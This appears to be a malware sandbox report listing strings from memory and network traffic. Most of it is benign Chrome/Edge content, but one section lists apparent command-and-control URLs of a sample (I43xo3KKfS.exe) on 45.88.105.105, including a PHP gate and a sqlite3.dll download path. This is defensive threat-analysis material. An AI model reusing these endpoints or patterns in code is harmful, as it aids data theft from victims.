Source: chrome.exe, 00000003.00000003.2224130600.0000614400394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2224019115.0000614400F94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2223964655.0000614400FBC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2336545997.00006144007A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.2331262347.00006144002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 921sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/6I
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/Y
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105/caf2400fcdb97982/sqlite3.dll
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.php
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.php1
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.php2
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.php32
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.php8
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.0000000000905000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.php=LAX
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpApplication
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.00000000004E6000.00000040.00000001.01000000.00000003.sdmp, I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpEdge
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpF
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpI
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpb
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.0000000000905000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpf
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpi&
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpininit.exe
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpome
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.0000000000905000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.phpsL
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.00000000008E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105/e88e05dfd1bdeeb9.php~
Source: I43xo3KKfS.exe, 00000000.00000002.2466582402.000000000089E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://45.88.105.105C
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105Data
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105caf2400fcdb97982/sqlite3.dllxe
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105e88e05dfd1bdeeb9.phpome
Source: I43xo3KKfS.exe, 00000000.00000002.2466040333.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://45.88.105.105mss.exe
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000003.00000003.2220684769.0000614400C1C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625aaD
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862v
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965w
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405z
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061L
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2331415740.00005D380038C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000003.00000002.2340606823.0000614400C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222055552.0000614400370000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000003.00000003.2222150506.0000614400DC8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2330449780.00005D3800378000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
